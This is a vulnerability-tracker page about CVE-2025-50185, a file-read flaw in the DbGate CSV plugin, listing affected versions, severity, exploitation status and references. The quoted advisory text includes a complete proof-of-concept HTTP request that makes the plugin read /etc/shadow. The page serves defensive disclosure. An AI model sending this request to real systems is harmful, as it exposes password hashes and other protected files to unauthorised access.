Home / dbgate / dbgate / CVE-2025-50185
CVE-2025-50185: is it exploited, and which versions of dbgate are affected and fixed?
CVE-2025-50185 is a path Traversal: '..filename' vulnerability in dbgate. It is not known to be exploited: it is not in CISA's Known Exploited Vulnerabilities catalog (catalog 2026.11.30, read December 3, 2026, 12:38 UTC). Affected: dbgate <= 6.6.0 (CVE record by GitHub_M). No fixed version is listed in the sources yet; check the vendor advisory. Severity: High (7.0, CVSS 4.0, from GitHub_M).
Data checked December 3, 2026: last read CISA KEV December 3, 2026, 12:38 UTC, CVE record November 19, 2026, 07:09 UTC and NVD November 19, 2026, 07:18 UTC.
What is CVE-2025-50185?
DbGate allows Unauthorized File Access via CSV Plugin
DbGate is cross-platform database manager. In versions 6.6.0 and below, DbGate allows unauthorized file access due to insufficient validation of file paths and types. A user with application-level access can retrieve data from arbitrary files on the system, regardless of their location or file type. The plugin fails to enforce proper checks on content type and file extension before reading a file. As a result, even sensitive files accessible only to the root user can be read through the application interface. There is currently no fix for this issue. ``` POST /runners/load-reader HTTP/1.1 Host: <REPLACE ME> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: <REPLACE ME> Content-Type: application/json Authorization: Bearer <REPLACE ME> Content-Length: 127 Origin: http://192.168.124.119:3000 Connection: keep-alive Cookie: <REPLACE ME> Priority: u=0 Cache-Control: max-age=0 {"functionName":"reader@dbgate-plugin-csv","props":{"fileName":"/etc\/shadow","limitRows":100}} ``` The request payload:  Lines of the file being returned: 
From the CVE record by GitHub_M, last updated July 28, 2025, 18:55 UTC.
Which versions are affected, and which fix it?
| Vendor | Product | Affected | Fixed or not affected from |
|---|---|---|---|
| dbgate | dbgate | <= 6.6.0 |
As the CVE record by GitHub_M states it, last updated July 28, 2025. Version ranges are the CNA's; a version the record calls not affected is usually the fix.
How severe is CVE-2025-50185?
| Score | Version | Vector | Source |
|---|---|---|---|
| High 7.0 | CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P | GitHub_M |
Each score is shown as its source gave it: the CNA that wrote the record, CISA's ADP (vulnrichment) and the NVD. They can differ.
What the ratings mean: in CVSS 3 and 4, scores run from 0 to 10, with Low 0.1 to 3.9, Medium 4.0 to 6.9, High 7.0 to 8.9 and Critical 9.0 to 10.0. CVSS 2 has no Critical band: its High runs from 7.0 to 10.0. The vector lists how the flaw is reached (network, local), what an attacker needs (privileges, a user's click) and what it can harm.
Is CVE-2025-50185 exploited in the wild?
- CISA KEV
- Not listed (catalog 2026.11.30)
- CISA SSVC
- Exploitation: poc; automatable: no; technical impact: partial (CISA ADP, July 28, 2025)
- EPSS
- 0.60% probability of exploitation activity in the next 30 days, percentile 50.3 (FIRST EPSS, scores of December 2, 2026)
What kind of flaw is it?
- CWE-29 Path Traversal: '..filename'
Where are the vendor advisories and references?
- https://github.com/dbgate/dbgate/security/advisories/GHSA-7x75-fmx7-q6h9 x_refsource_CONFIRM
- https://github.com/dbgate/dbgate/blob/v6.6.0/plugins/dbgate-plugin-csv/src/backend/reader.js#L71-L102 x_refsource_MISC
When was it published, and where is the official record?
- Reserved
- June 13, 2025
- Published
- July 26, 2025, 03:34 UTC
- CVE record updated
- July 28, 2025, 18:55 UTC by GitHub_M
- NVD
- Deferred, last modified June 17, 2026, 09:34 UTC
- Last checked
- CVE list November 19, 2026, 07:09 UTC; NVD November 19, 2026, 07:18 UTC; KEV December 3, 2026, 12:38 UTC; EPSS December 2, 2026
- Official record
- cve.org · NVD
What other CVEs affect dbgate?
- Nov 3, 2026CVE-2026-121455 dbgate: missing authorization
- Sep 28, 2026CVE-2026-101070 dbgate: path traversal (reading or writing files outside the intended folder)
- Sep 28, 2026CVE-2026-101069 dbgate: path traversal (reading or writing files outside the intended folder)
- Sep 28, 2026CVE-2026-101068 dbgate: path traversal (reading or writing files outside the intended folder)
- Sep 28, 2026CVE-2026-101067 dbgate: path traversal (reading or writing files outside the intended folder)
- Sep 28, 2026CVE-2026-101066 dbgate: path traversal (reading or writing files outside the intended folder)
- Sep 24, 2026CVE-2026-97226 DbGate: path traversal (reading or writing files outside the intended folder)
- Sep 24, 2026CVE-2026-97225 DbGate: code injection (remote code execution)
Questions about CVE-2025-50185
Is CVE-2025-50185 exploited in the wild?
Not as far as CISA knows: it is not in the Known Exploited Vulnerabilities catalog, read December 3, 2026, 12:38 UTC. FIRST's EPSS gives it a 0.60% chance of exploitation activity in the next 30 days (scores of December 2, 2026).
Which versions of dbgate are affected by CVE-2025-50185?
dbgate <= 6.6.0, per the CVE record by GitHub_M. The tables above give every range the sources list.
Which version fixes CVE-2025-50185?
None of the sources (the CVE record, the NVD and GitHub's reviewed advisories) lists a fixed version yet. Check the vendor's advisory in the references.
How severe is CVE-2025-50185?
High (7.0, CVSS 4.0, from GitHub_M). The severity table above shows each score with its source.
Where is the official record of CVE-2025-50185?
The CVE Program's record is at cve.org and the NVD's at nvd.nist.gov. For a fix, the vendor's own advisory is the one to follow.